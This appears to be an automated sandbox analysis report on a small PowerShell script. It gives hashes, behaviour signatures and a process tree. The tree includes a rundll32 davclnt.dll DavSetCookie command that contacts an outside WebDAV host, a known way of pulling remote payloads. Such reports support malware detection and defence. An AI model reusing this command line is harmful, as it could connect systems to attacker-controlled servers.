Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • user interaction
    yes
  • max time kernel
    46s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    27/05/2026, 19:55

General

  • Target
    script.ps1
  • Size 142B
  • Sample260527-ynhetag12p
  • SHA256 0f5c90e5735e64da94e2b2010a474de90b759ea2d00492d7fe1ee7c2e52cd560
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\WINDOWS\system32\davclnt.dll,DavSetCookie ppili.brssolar.hu@SSL https://ppili.brssolar.hu/802d077a-dc1a-4726-be4a-d6b80f504c3b
      2⤵
        PID:4260

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_ufpz0lrw.ere.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ufpz0lrw.ere.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/4160-0-0x00000298C0DB0000-0x00000298C0DC0000-memory.dmp

          memory/4160-1-0x00000298C0DB0000-0x00000298C0DC0000-memory.dmp

          memory/4160-2-0x00000298DCAC0000-0x00000298DCAE2000-memory.dmp

          memory/4160-9-0x00000298C0DB0000-0x00000298C0DC0000-memory.dmp